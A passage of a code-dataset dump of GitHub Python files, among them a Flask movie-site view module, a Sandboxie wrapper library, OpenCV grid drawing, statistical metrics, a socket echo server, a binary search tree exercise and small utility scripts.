时(默认值),如果请求的页数超出了范围,则会返回 404 错误;如果 设为 False,页数超出范围时会返回一个空列表。\n \"\"\"\n\n return render_template(\"home/moviecol.html\", page_data=page_data)\n\n\n@home.route(\"//\", methods=[\"GET\"])\n@home.route(\"/\", methods=[\"GET\"])\ndef index(page=None):\n \"\"\"\n 首页电影列表\n \"\"\"\n tags = Tag.query.all()\n page_data = Movie.query\n # 标签\n # 当get请求时,需要使用request.args来获取数据\n # 当post请求时,需要使用request.form来获取数据\n\n tid = request.args.get(\"tid\", 0)\n\n print(tid)\n\n if int(tid) != 0:\n page_data = page_data.filter_by(tag_id=int(tid))\n # 星级\n star = request.args.get(\"star\", 0)\n if int(star) != 0:\n page_data = page_data.filter_by(star=int(star))\n # 时间\n time = request.args.get(\"time\", 0)\n if int(time) != 0:\n if int(time) == 1:\n page_data = page_data.order_by(\n Movie.addtime.desc()\n )\n else:\n page_data = page_data.order_by(\n Movie.addtime.asc()\n )\n # 播放量\n pm = request.args.get(\"pm\", 0)\n if int(pm) != 0:\n if int(pm) == 1:\n page_data = page_data.order_by(\n Movie.playnum.desc()\n )\n else:\n page_data = page_data.order_by(\n Movie.playnum.asc()\n )\n # 评论量\n cm = request.args.get(\"cm\", 0)\n if int(cm) != 0:\n if int(cm) == 1:\n page_data = page_data.order_by(\n Movie.commentnum.desc()\n )\n else:\n page_data = page_data.order_by(\n Movie.commentnum.asc()\n )\n if page is None:\n page = 1\n page_data = page_data.paginate(page=page, per_page=8)\n p = dict(\n tid=tid,\n star=star,\n time=time,\n pm=pm,\n cm=cm,\n )\n return render_template(\n \"home/index.html\",\n tags=tags,\n p=p,\n page_data=page_data)\n\n\n@home.route(\"/animation/\")\ndef animation():\n \"\"\"\n 首页轮播动画\n \"\"\"\n data = Preview.query.all()\n for v in data:\n v.id = v.id - 1\n return render_template(\"home/animation.html\", data=data)\n\n\n@home.route(\"/search//\")\ndef search(page=None):\n \"\"\"\n 搜索\n \"\"\"\n if page is None:\n page = 1\n key = request.args.get(\"key\", \"\")\n movie_count = Movie.query.filter(\n Movie.title.ilike('%' + key + '%')\n ).count()\n page_data = Movie.query.filter(\n Movie.title.ilike('%' + key + '%')\n ).order_by(\n Movie.addtime.desc()\n ).paginate(page=page, per_page=10)\n\n print(page_data)\n\n page_data.key = key\n return render_template(\"home/search.html\", movie_count=movie_count, key=key, page_data=page_data)\n\n\n@home.route(\"/play///\", methods=[\"GET\", \"POST\"])\ndef play(id=None, page=None):\n \"\"\"\n 播放电影\n \"\"\"\n movie = Movie.query.join(Tag).filter(\n Tag.id == Movie.tag_id,\n Movie.id == int(id)\n ).first_or_404()\n\n if page is None:\n page = 1\n page_data = Comment.query.join(\n Movie\n ).join(\n User\n ).filter(\n Movie.id == movie.id,\n # 看到不只是自己的评论 而是所有人对于他的评论\n User.id == Comment.user_id\n ).order_by(\n Comment.addtime.desc()\n ).paginate(page=page, per_page=10)\n form = CommentForm()\n if \"user\" in session and form.validate_on_submit():\n data = form.data\n comment = Comment(\n content=data[\"content\"],\n movie_id=movie.id,\n user_id=session[\"user_id\"]\n )\n db.session.add(comment)\n db.session.commit()\n movie.commentnum = movie.commentnum + 1\n db.session.add(movie)\n db.session.commit()\n flash(\"添加评论成功!\", \"ok\")\n return redirect(url_for('home.play', id=movie.id, page=1))\n # 放在后面避免添加评论播放量涨2\n movie.playnum = movie.playnum + 1\n db.session.add(movie)\n db.session.commit()\n return render_template(\"home/play.html\", movie=movie, form=form, page_data=page_data)\n\n\n@home.route(\"/video///\", methods=[\"GET\", \"POST\"])\ndef video(id=None, page=None):\n \"\"\"\n 弹幕播放器\n \"\"\"\n movie = Movie.query.join(Tag).filter(\n Tag.id == Movie.tag_id,\n Movie.id == int(id)\n ).first_or_404()\n\n if page is None:\n page = 1\n page_data = Comment.query.join(\n Movie\n ).join(\n User\n ).filter(\n Movie.id == movie.id,\n User.id == Comment.user_id\n ).order_by(\n Comment.addtime.desc()\n ).paginate(page=page, per_page=10)\n\n movie.playnum = movie.playnum + 1\n form = CommentForm()\n if \"user\" in session and form.validate_on_submit():\n data = form.data\n comment = Comment(\n content=data[\"content\"],\n movie_id=movie.id,\n user_id=session[\"user_id\"]\n )\n db.session.add(comment)\n db.session.commit()\n movie.commentnum = movie.commentnum + 1\n db.session.add(movie)\n db.session.commit()\n flash(\"添加评论成功!\", \"ok\")\n return redirect(url_for('home.video', id=movie.id, page=1))\n db.session.add(movie)\n db.session.commit()\n return render_template(\"home/video.html\", movie=movie, form=form, page_data=page_data)\n\n\n@home.route(\"/tm/\", methods=[\"GET\", \"POST\"])\ndef tm():\n \"\"\"\n 弹幕消息处理\n \"\"\"\n import json\n if request.method == \"GET\":\n # 获取弹幕消息队列\n id = request.args.get('id')\n # 存放在redis队列中的键值\n key = \"movie\" + str(id)\n if rd.llen(key):\n msgs = rd.lrange(key, 0, 2999)\n res = {\n \"code\": 1,\n \"danmaku\": [json.loads(v) for v in msgs]\n }\n else:\n res = {\n \"code\": 1,\n \"danmaku\": []\n }\n resp = json.dumps(res)\n if request.method == \"POST\":\n # 添加弹幕\n data = json.loads(request.get_data())\n msg = {\n \"__v\": 0,\n \"author\": data[\"author\"],\n \"time\": data[\"time\"],\n \"text\": data[\"text\"],\n \"color\": data[\"color\"],\n \"type\": data['type'],\n \"ip\": request.remote_addr,\n \"_id\": datetime.datetime.now().strftime(\"%Y%m%d%H%M%S\") + uuid.uuid4().hex,\n \"player\": [\n data[\"player\"]\n ]\n }\n res = {\n \"code\": 1,\n \"data\": msg\n }\n resp = json.dumps(res)\n # 将添加的弹幕推入redis的队列中\n rd.lpush(\"movie\" + str(data[\"player\"]), json.dumps(msg))\n return Response(resp, mimetype='application/json')\n","repo_name":"wallacedingqiang/movie-master","sub_path":"app/home/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":16369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"2411962894","text":"from __future__ import unicode_literals\n\nimport configparser\nimport contextlib\nimport io\nimport os\nimport subprocess\n\nimport _meta\n\n\n__version__ = _meta.__version__\n\n\nclass SandboxieError(Exception):\n pass\n\n\nclass Sandboxie(object):\n \"\"\"An interface to `Sandboxie `_.\"\"\"\n\n def __init__(self, defaultbox='DefaultBox', install_dir=None):\n \"\"\"\n :param defaultbox: The default sandbox in which sandboxed commands are\n executed.\n :param install_dir: The absolute path to the Sandboxie installation\n directory. If ``None``, it will be set to the\n value of the ``SANDBOXIE_INSTALL_DIR`` environment\n variable, or ``C:\\Program Files\\Sandboxie``,\n if the environment variable is not set.\n\n Raises :class:`SandboxieError` if the Sandboxie.ini config file could\n not be located in the following directories:\n\n #. In the Windows folder: ``C:\\WINDOWS`` on most Windows\n installations; ``C:\\WINNT`` on Windows 2000\n #. In the Sandboxie installation folder, typically\n ``C:\\Program Files\\Sandboxie``.\n \"\"\"\n self.install_dir = install_dir\n if install_dir is None:\n self.install_dir = os.environ.get('SANDBOXIE_INSTALL_DIR',\n r'C:\\Program Files\\Sandboxie')\n self.defaultbox = defaultbox\n self.config_path = self._find_config_path()\n if self.config_path is None:\n raise SandboxieError(('Could not find Sandboxie.ini config. Is '\n 'Sandboxie installed?'))\n\n def _find_config_path(self):\n \"\"\"Returns the absolute path to the Sandboxie.ini config, or ``None``\n if it could not be found.\n \"\"\"\n for _dir in (os.environ['WinDir'], self.install_dir):\n path = os.path.join(_dir, 'Sandboxie.ini')\n if os.path.exists(path):\n return path\n return None\n\n def _open_config_file(self, mode='r', encoding='utf-16-le'):\n return io.open(self.config_path, mode, encoding=encoding)\n\n def _shell_output(self, *args, **kwargs):\n return subprocess.check_output(*args, **kwargs)\n\n def _write_config(self, config):\n \"\"\"Writes *config* to ``self.config_path``.\n\n :param config: a :class:`configparser.ConfigParser` instance of a\n Sandboxie.ini config.\n \"\"\"\n with self._open_config_file(mode='w') as config_file:\n config.write(config_file)\n\n @contextlib.contextmanager\n def _modify_config(self):\n \"\"\"A context manager that yields a :class:`configparser.ConfigParser`\n instance of the parsed Sandboxie.ini config (to allow for\n modifications), then writes the config to ``self.config_path`` upon\n completion of the block.\n \"\"\"\n config = self.get_config()\n yield config\n self._write_config(config)\n\n def get_config(self):\n \"\"\"Returns a :class:`configparser.ConfigParser` instance of the parsed\n Sandboxie.ini config.\"\"\"\n config = configparser.ConfigParser(strict=False)\n with self._open_config_file(mode='r') as config_file:\n config.read_file(config_file)\n return config\n\n def create_sandbox(self, box, options):\n \"\"\"Creates a sandbox named *box*, with a ``dict`` of sandbox\n *options*.\"\"\"\n with self._modify_config() as config:\n config[box] = options\n self.reload_config()\n\n def destroy_sandbox(self, box):\n \"\"\"Destroys the sandbox named *box*. Counterpart to\n :func:`create_sandbox`.\"\"\"\n with self._modify_config() as config:\n config.remove_section(box)\n self.reload_config()\n\n def start(self, command=None, box=None, silent=True, wait=False,\n nosbiectrl=True, elevate=False, disable_forced=False,\n reload=False, terminate=False, terminate_all=False,\n listpids=False):\n \"\"\"Executes *command* under the supervision of Sandboxie by invoking\n `Sandboxie's Start Command Line`_.\n\n Returns the output of Start.exe on success. Raises\n :class:`subprocess.CalledProcessError` or :class:`WindowsError` on\n failure.\n\n :param box: The name of the sandbox sandbox to execute the command in.\n If ``None``, the command will be executed in the default sandbox,\n ``self.defaultbox``.\n :param silent: If ``True``, eliminates some pop-up error messages.\n :param wait: If ``True``, wait for the command to finish executing\n before returning.\n :param nosbiectrl: If ``True``, ensures that Sandboxie Control is not\n run before executing *command*.\n :param elevate: If ``True``, allows you to run a program with\n Administrator privileges on a system where User Account Control\n (UAC) is enabled.\n :param disable_forced: If ``True``, runs a program outside the sandbox,\n even if the program is forced.\n :param reload: If ``True``, reloads the Sandboxie config. Only applies\n when *command* is ``None``.\n :param terminate: If ``True``, terminates all sandboxed processes in\n *box*. Only applies when *command* is ``None``.\n :param terminate_all: If ``True``, terminates all processes in **all**\n sandboxes. Only applies when *command* is ``None``.\n :param listpids: If ``True``, return string containing line-separated\n process ids of all sandboxed processes in sandbox *box* Only\n applies when *command* is ``None``.\n\n .. _Sandboxie's Start Command Line:\n http://www.sandboxie.com/index.php?StartCommandLine\n \"\"\"\n if box is None:\n box = self.defaultbox\n options = ['/box:{0}'.format(box)]\n if silent:\n options.append('/silent')\n if wait:\n options.append('/wait')\n if nosbiectrl:\n options.append('/nosbiectrl')\n if elevate:\n options.append('/elevate')\n if disable_forced:\n options.append('/dfp')\n\n if command is None:\n if reload:\n options.append('/reload')\n if terminate:\n options.append('/terminate')\n if terminate_all:\n options.append('/terminate_all')\n if listpids:\n options.append('/listpids')\n # Since Start.exe is not a command-line application, its output\n # does not appear on the command-line unless it is piped into\n # more.\n command = '| more'\n\n start_exe = os.path.join(self.install_dir, 'Start.exe')\n command = command or ''\n return self._shell_output([start_exe] + options + [command])\n\n def reload_config(self, **kwargs):\n \"\"\"Reloads the Sandboxie.ini config.\"\"\"\n self.start(reload=True, **kwargs)\n\n def delete_contents(self, box=None, **kwargs):\n \"\"\"Deletes the contents of sandbox *box*. If *box* is ``None``,\n ``self.defaultbox`` is used.\n \"\"\"\n self.start('delete_sandbox_silent', box=None, **kwargs)\n\n def terminate_processes(self, box=None, **kwargs):\n \"\"\"Terminates all processes running in sandbox *box* If *box* is\n ``None``, ``self.defaultbox`` is used.\"\"\"\n self.start(terminate=True, box=box, **kwargs)\n\n def terminate_all_processes(self, **kwargs):\n \"\"\"Terminates all processes running in **all** sandboxes.\"\"\"\n self.start(terminate_all=True, **kwargs)\n\n def running_processes(self, box=None, **kwargs):\n \"\"\"Returns a generator of integer process ids for each process running\n in sandbox *box*. If *box* is ``None``, ``self.defaultbox`` is used.\n \"\"\"\n output = self.start(listpids=True, box=box, wait=True, **kwargs)\n return (int(pid) for pid in output.split())\n","repo_name":"gg/sandboxie-py","sub_path":"sandboxie.py","file_name":"sandboxie.py","file_ext":"py","file_size_in_byte":8100,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"50"} +{"seq_id":"33391770193","text":"################################\n################################\n# 모듈명 : grid\n# 작성자 : 이석범\n# 설명 : 화면에 그리드를 출력\n################################\n################################\n\nimport cv2\nfrom src.detectors import cookie as ck\nfrom src import grid\n\n# 전역 변수 선언 및 초기화\nunit = 0 # 그리드 한 칸(정사각형)의 길이\nvertical_max, horizontal_max = 12, 9 # 가로 12칸, 세로 9칸\ngrid_x, grid_y = 0, 0 # 그리드의 시작지점. 변수 초기화\n\n\n################################\n# 함수명 : draw_grid\n# 작성자 : 이석범\n# 설명 : 입력된 화면에 그리드 출력 ( 격자 형태 )\n# 리턴 : _\n# 매개변수 : image frame 전체 화면\n################################\ndef draw_grid(frame):\n global unit\n\n # 그리드 가로선 그리기\n for ver in range(vertical_max + 1):\n cv2.line(frame,\n (grid_x + unit * ver, grid_y),\n (grid_x + unit * ver, grid_y + unit * horizontal_max),\n (40, 40, 40), 2, 1)\n\n # 그리드 세로선 그리기\n for hor in range(horizontal_max + 1):\n cv2.line(frame,\n (grid_x, grid_y + unit * hor),\n (grid_x + unit * vertical_max, grid_y + unit * hor),\n (40, 40, 40), 2, 1)\n\n\n################################\n# 함수명 : fill_grid\n# 작성자 : 최진호\n# 설명 : 그리드에 색 칠하기\n# 리턴 : _\n# 매개변수 : image frame 전체 화면\n# matrix matrix 스테이트\n################################\ndef fill_grid(frame, matrix):\n for ver in range(vertical_max):\n for hor in range(horizontal_max):\n if matrix[hor][ver] is 1:\n frame[grid_y + unit * hor: grid_y + unit * (hor + 1),\n grid_x + unit * ver: grid_x + unit * (ver + 1)] = (170, 100, 69)\n if matrix[hor][ver] is 7:\n frame[grid_y + unit * hor: grid_y + unit * (hor + 1),\n grid_x + unit * ver: grid_x + unit * (ver + 1)] = (170, 69, 100)\n if matrix[hor][ver] is 4:\n frame[grid_y + unit * hor: grid_y + unit * (hor + 1),\n grid_x + unit * ver: grid_x + unit * (ver + 1)] = (100, 170, 69)\n if matrix[hor][ver] is 3:\n frame[grid_y + unit * hor: grid_y + unit * (hor + 1),\n grid_x + unit * ver: grid_x + unit * (ver + 1)] = (100, 69, 170)\n\n\n################################\n# 함수명 : set_grid\n# 작성자 : 이석범\n# 설명 : 최초 1회만 동작\n# 입력된 화면에서 쿠키의 위치를 찾고 이를 기준으로 그리드 생성에 필요한 변수를 설\n# 리턴 : Boolean\n# 매개변수 : image frame 쿠키를 검출할 화면\n################################\ndef set_grid(frame):\n global unit, grid_x, grid_y\n\n # frame을 HSV (hue-saturation-value)로 변환한다\n hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n\n # 해당 범위에 속하는 각 색깔을 찾는다\n brown = cv2.inRange(hsv, ck.brown_lower, ck.brown_upper)\n brown = cv2.dilate(brown, ck.kernel)\n\n # 쿠키 윤곽선 검출 # 밤 때문에 가려지는 경우가 존재.\n _, contours, hierarchy = cv2.findContours(brown, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n for pic, contour in enumerate(contours):\n area = cv2.contourArea(contour)\n hierarchy_num = hierarchy[0][pic][-1]\n x, y, w, h = cv2.boundingRect(contour)\n\n if y < 400 and 2000 < area and (200 < x + w / 2) and (x + w / 2 < 240) and hierarchy_num == -1:\n initial_x, initial_y, initial_w, initial_h = x, y, w, h # 인식한 쿠키 좌표 저장\n break;\n # cv2.rectangle(frame, (x, y), (x + w, y + h), (170, 100, 69), 2)\n\n try:\n unit = int(initial_w / 2) # 처음 발견한 쿠키의 너비의 절반을 그리드 단위길이로\n grid_x = initial_x - unit\n grid_y = initial_y + initial_h + unit * -8\n # print('grid true')\n return True\n except:\n return False\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"ddjddd/Team_Cookie","sub_path":"src/grid.py","file_name":"grid.py","file_ext":"py","file_size_in_byte":4170,"program_lang":"python","lang":"ko","doc_type":"code","stars":5,"dataset":"github-code","pt":"50"} +{"seq_id":"36665527094","text":"\"\"\"Metrics\"\"\"\nfrom typing import Tuple\nfrom statistics import NormalDist\nimport jax.numpy as jnp\nimport numpy as np\nfrom sklearn.mixture import GaussianMixture\nfrom scipy.spatial.distance import cdist\nfrom scipy.optimize import linear_sum_assignment\nfrom src.datasets import toy_gmm, bar\n\n\ndef wasserstein_metric(\n x_samples: np.ndarray, y_samples: np.ndarray, p: float = 2.0\n) -> float:\n \"\"\"Wasserstein metric\n\n Computes the empirical Wasserstein p-distance between x_samples and y_samples\n by solving a linear assignment problem.\n\n Args:\n x_samples: samples\n y_samples: samples\n p: [0, inf) type of Wasserstein distance\n \"\"\"\n\n d = cdist(x_samples, y_samples) ** p\n assignment = linear_sum_assignment(d)\n dist = (d[assignment].sum() / len(assignment)) ** (1.0 / p)\n return dist.item()\n\n\ndef gmm_metric(x_samples: np.ndarray, y_samples: np.ndarray, cov_type=\"diag\") -> float:\n \"\"\"GMM metric wrapper\n\n Estimates one GMM each for both X and Y samples,\n then computes the GMM based metric (see gmm_params_metric)\n \"\"\"\n x_gmm, y_gmm = fit_gmm(x_samples, cov_type), fit_gmm(y_samples, cov_type)\n _, _, x_covs = x_gmm\n _, _, y_covs = y_gmm\n return gmm_params_metric(x_covs, y_covs)\n\n\ndef fit_gmm(\n samples: np.ndarray, cov_type: str, n_comp=2\n) -> Tuple[np.ndarray, np.ndarray, np.ndarray]:\n \"\"\"Fit Gaussian mixture model (GMM)\n\n Thin wrapper around scikit's GaussianMixture for our 2D product example.\n \"\"\"\n allowed_cov_types = {\"full\", \"tied\", \"diag\", \"spherical\"}\n assert (\n cov_type in allowed_cov_types\n ), f\"Incorrect covariance type, must be one of {allowed_cov_types}\"\n model = GaussianMixture(n_components=n_comp, covariance_type=cov_type)\n gmm = model.fit(samples)\n return gmm.weights_, gmm.means_, gmm.covariances_\n\n\ndef gmm_params_metric(x_covs: np.ndarray, y_covs: np.ndarray) -> float:\n \"\"\"GMM metric\n\n Compute a distance metric from two GMM's.\n The metric is the Frobenius norm of the difference in covariance,\n averaged over the mixture components.\n\n Args:\n x_covs: Covariance matrices (n_comp, *cov_dims) *Depends on the cov_type used in fit_gmm).\n y_covs: Same as x_covs but estimated from another sample.\n \"\"\"\n n_comp = x_covs.shape[0]\n cov_metric = 0.0\n for x_cov_n, y_cov_n in zip(x_covs, y_covs):\n diff_ = x_cov_n - y_cov_n\n cov_metric += np.sqrt(np.sum(diff_ ** 2)).item()\n return cov_metric / n_comp\n\n\ndef ll_prod_metric(y_samples):\n n_comp = 8\n std = 0.03\n scale = 0.2\n r = 1.1\n prob_inside = 0.99\n\n # Load Data\n # Gaussian Mixture\n nll_gmm, _, means = toy_gmm(n_comp, std=std)\n bounds_outer = np.array([[-r, r], [-r, r]])\n bounds_inner = np.array([[-scale, scale], [-1.0, 1.0]])\n\n # Bar\n nll_bar, _, pdf_outer, pdf_inner = bar(scale=scale, r=r, prob_inside=prob_inside)\n c = compute_normalizing_constant(\n means, std, n_comp, pdf_outer, pdf_inner, bounds_outer, bounds_inner\n )\n return ll_prod(nll_gmm(y_samples), nll_bar(y_samples), c)\n\n\ndef ll_prod(nll_p1: np.ndarray, nll_p2: np.ndarray, c: float = 1.0) -> float:\n \"\"\"Log-likelihood metric\n\n Evaluates LL for a product distribution with two components.\n\n Args:\n nll_p1: negative log-likelihood of distribution p1\n nll_p2: negative log-likelihood of distribution p2\n c: normalizing constant\n \"\"\"\n\n ll = np.mean(-nll_p1 - nll_p2 - np.log(c))\n return ll.item()\n\n\ndef prob_gmm_independent_uniform(means, sigmas, bounds, weights=None):\n \"\"\"Compute total probability of the product distribution of the bar and circle gmm distr's\"\"\"\n if weights is None:\n weights = jnp.ones(means.shape[0])\n total_prob = 0.0\n for mean, std, w in zip(means, sigmas, weights):\n prob = list()\n for i, bound in enumerate(bounds):\n nor = NormalDist(mu=mean[i], sigma=std[i])\n prob.append(nor.cdf(bound[1]) - nor.cdf(bound[0]))\n total_prob += w * jnp.prod(jnp.array(prob))\n return total_prob\n\n\ndef compute_normalizing_constant(\n means, std, n_comp, pdf_outer, pdf_inner, bounds_outer, bounds_inner\n):\n \"\"\"Compute the normalisation constant for the product distribution of the bar and circle gmm distr's\"\"\"\n prob_all = prob_gmm_independent_uniform(\n means,\n jnp.ones_like(means) * std,\n bounds_outer,\n jnp.ones(means.shape[0]) / n_comp,\n )\n prob_inner = prob_gmm_independent_uniform(\n means,\n jnp.ones_like(means) * std,\n bounds_inner,\n jnp.ones(means.shape[0]) / n_comp,\n )\n prob_outer = prob_all - prob_inner\n return pdf_outer * prob_outer + pdf_inner * prob_inner\n","repo_name":"jackonelli/mcmc_corr_score_diffusion","sub_path":"r_3_comp_2d/metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":4715,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"39605336625","text":"import pandas as pd\nfrom statsmodels.formula.api import ols\nfrom statsmodels.stats.anova import anova_lm\n\n\ndata = pd.read_table(\"C://Users\\XG\\Desktop\\data.txt\", sep=',')\nx = data.drop('age', 1)\nx = x.drop('region', 1)\nx = x.drop('children', 1)\nx = x.drop('bmi', 1)\nanova_results = anova_lm(ols('charges~(sex)+(smoker)',x).fit())\nprint(anova_results)","repo_name":"Wanggcong/Statistical-Analysis-Method-","sub_path":"project2/16337028_陈镕希/test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"50"} +{"seq_id":"36609104342","text":"# import time\n# import socket\n# sk = socket.socket()\n# sk.bind(('170,0.0.1',9001))\n# sk.listen()\n#\n# conn,_=sk.accept()\n# while True:\n# try:\n# content = conn.recv(1024).decode('utf-8')\n# conn.send =(content.upper().encode('utf-8')\n# time.sleep(0.5)\n# except ConnectionResetError:\n# break\n\n\nimport time\nimport socketserver\n\nclass Myserver(socketserver.BaseRequestHandler): #socketserver规定的命名,不能命名其它\n\n def handle(self): # 客户端服务从handle这句开始\n conn=self.request # request结果等于进行conn\n while True:\n try:\n\n content = conn.recv(1024).decode('utf-8')\n conn.send (content.upper().encode('utf-8'))\n print(conn)\n time.sleep(0.5)\n\n except ConnectionResetError:\n break\nserver = socketserver.ThreadingTCPServer(('127.0.0.1',9002),Myserver)\nserver.serve_forever()","repo_name":"eson27/untitled","sub_path":"day29/socketserver模块/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"7307846285","text":"import wiringpi as pi\r\nimport time\r\nfrom lsm9ds1 import lsm9ds1\r\n\r\ngyro_addr = 0x6b\r\nmagnet_addr = 0x1e\r\n\r\n\r\npi.wiringPiSetupGpio()\r\ni2c = pi.I2C()\r\nmotion = lsm9ds1( i2c, gyro_addr, magnet_addr )\r\n\r\nwhile True:\r\n motion.read_sensor()\r\n ( g_x, g_y, g_z ) = motion.get_gyro()\r\n print( \"Gyro X:\", g_x, \" Y:\", g_y, \" Z:\",g_z )\r\n\r\n ( a_x, a_y, a_z ) = motion.get_accel()\r\n print( \"Accel X:\", a_x, \" Y:\", a_y, \" Z:\",a_z )\r\n\r\n ( m_x, m_y, m_z ) = motion.get_magnet()\r\n print( \"Magnet X:\", m_x, \" Y:\", m_y, \" Z:\",m_z )\r\n\r\n time.sleep(1)\r\n","repo_name":"motoshima1150/raspi-test","sub_path":"sensor/13/motion.py","file_name":"motion.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"33465903896","text":"import json\nfrom gendiff.engine import REMOVED, ADDED, CHANGED, NESTED\n\n\ndef format_to_plain(dictionary, parent=''):\n result = []\n for key, value_condition in dictionary.items():\n type_ = value_condition.get('type')\n value_ = value_condition.get('value')\n children_ = value_condition.get('children')\n path = parent + '.' + key\n if type_ == REMOVED:\n result.append(f\"Property '{path.strip('.')}' was removed\")\n elif type_ == ADDED:\n if isinstance(value_, dict):\n result.append(f\"Property '{path.strip('.')}' was added with value: [complex value]\")\n else:\n result.append(f\"Property '{path.strip('.')}' was added with value: {convert_to_string(value_)}\")\n elif type_ == CHANGED:\n if isinstance(value_.get(\"old_value\"), dict):\n result.append(f\"Property '{path.strip('.')}' was updated. From [complex value] to {convert_to_string(value_.get('new_value'))}\")\n elif isinstance(value_.get(\"new_value\"), dict):\n result.append(f\"Property '{path.strip('.')}' was updated. From {convert_to_string(value_.get('old_value'))} to [complex value]\")\n else:\n result.append(f\"Property '{path.strip('.')}' was updated. From {convert_to_string(value_.get('old_value'))} to {convert_to_string(value_.get('new_value'))}\")\n elif type_ == NESTED:\n if isinstance(children_, dict):\n result.append(format_to_plain(children_, path))\n return '\\n'.join(result)\n\n\ndef convert_to_string(item):\n if isinstance(item, str):\n return f\"'{item}'\"\n return json.dumps(item)\n","repo_name":"ilnarkz/Difference-Calculator","sub_path":"gendiff/formatters/plain.py","file_name":"plain.py","file_ext":"py","file_size_in_byte":1677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"70556447515","text":"import cv2\nimport sys\nimport os\nimport random\n\nsys.path.insert(1, '../.')\nimport ailu_python.utils.tmp as func\nimport ailu_python.image_processing.getROI as getROI\nimport ailu_python.utils.display as display\nimport ailu_python.data_augmentation.modify_background as modBackground\nimport Workers\n\ncanvas = cv2.imread(\"./data/Image_resources_data_augmentation/canvas.png\")\n\ndirectory = \"F:/AILU_RAW/weeds/FP-training-extracted/\"\npath_to_background = \"F:/Data_aug_backgrounds/\"\nbackgrounds = os.listdir(path_to_background)\nprint(\"Loaded\", len(backgrounds), \"background images\")\ncount = 0\ntotal = 0\ntrain_dataset = True\n# open video from avi file\n\n\nfor filename in os.listdir(directory):\n print(\"processing file: \", directory + filename)\n count = 0\n\n cap = cv2.VideoCapture(directory + filename)\n while cap.isOpened():\n\n # read each frame\n ret, frame = cap.read()\n count += 1\n\n rois_img = func.getAllRoiImage(frame)\n height, width = rois_img[0].shape[:2]\n #\n # resizedFrame = cv2.resize(rois_img[0], (int(width/10), int(height/10)))\n # resizedFrame = cv2.resize(resizedFrame, (width, height))\n # if height > 200 and width > 200:\n # print(height, width)\n try:\n blurred_frame = cv2.GaussianBlur(rois_img[0],(13,13),cv2.BORDER_DEFAULT)\n except:\n print(\"error blurring the image\")\n\n\n display.draw_and_show(blurred_frame, [[0,0,0,0]], \"rois\")\n if cv2.waitKey(25) & 0xFF == ord('q'):\n break\n\n\ncv2.destroyAllWindows()\n\n\n\n\n","repo_name":"andrewjouffray/AILU","sub_path":"examples/legacy/blurr.py","file_name":"blurr.py","file_ext":"py","file_size_in_byte":1554,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"50"} +{"seq_id":"3319910527","text":"class Node:\n def __init__(self, data):\n self.data = data\n self.left = None\n self.right = None\n\n def __str__(self):\n return str(self.data)\n\n\nclass BST:\n def __init__(self):\n self.root = None\n\n def insert(self, data, node=None):\n node = node if node != None else self.root\n\n # Code Here\n if self.root is None:\n self.root = Node(data)\n return\n\n if data >= node.data:\n if node.right is None:\n node.right = Node(data)\n return\n self.insert(data, node.right)\n else:\n if node.left is None:\n node.left = Node(data)\n return\n self.insert(data, node.left)\n\n return self.root\n\n def printTree(self, node, level=0):\n if node != None:\n self.printTree(node.right, level + 1)\n print(' ' * level, node)\n self.printTree(node.left, level + 1)\n\n def inorder(self, node, s=None):\n s = s if s != None else []\n if node:\n self.inorder(node.left, s)\n # print(node.data, \"\", end=\"\")\n s.append(str(node.data))\n self.inorder(node.right, s)\n \n return \" \".join(s)\n\n def preorder(self, node, s=None):\n s = s if s != None else []\n if node:\n s.append(str(node.data))\n self.preorder(node.left, s)\n self.preorder(node.right, s)\n \n return \" \".join(s)\n\n def postorder(self, node, s=None):\n s = s if s != None else []\n if node:\n self.postorder(node.left, s)\n self.postorder(node.right, s)\n s.append(str(node.data))\n \n return \" \".join(s)\n \n def breadth(self, node, s=None):\n s = s if s != None else []\n q = []\n q.append(node)\n while q != []:\n n = q.pop(0)\n s.append(str(n.data))\n if n.left != None:\n q.append(n.left)\n if n.right != None:\n q.append(n.right)\n \n return \" \".join(s)\n \nT = BST()\ninp = [int(e) for e in input('Enter Input : ').split()]\nfor i in inp:\n root = T.insert(i)\n# T.printTree(root)\n\nprint(\"Preorder :\", T.preorder(T.root))\nprint(\"Inorder :\", T.inorder(T.root))\nprint(\"Postorder :\", T.postorder(T.root))\nprint(\"Breadth :\", T.breadth(T.root))\n","repo_name":"erumtw/oods-in-practice","sub_path":"7_Tree/ch7_4.py","file_name":"ch7_4.py","file_ext":"py","file_size_in_byte":2425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"12703789881","text":"# -*- coding: utf-8 -*-\n# Author: Milan Nikolic \n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n\nimport sys\nimport logging\n\nfrom PyQt5.QtCore import pyqtSignal\nfrom PyQt5.QtWidgets import QDialog\nfrom PyQt5.QtGui import QTextCursor\n\nfrom m64py.ui.logview_ui import Ui_LogView\n\n\nclass Log:\n def __init__(self, out=None, logview=None):\n self.out = out\n self.logview = logview\n\n def write(self, msg):\n if 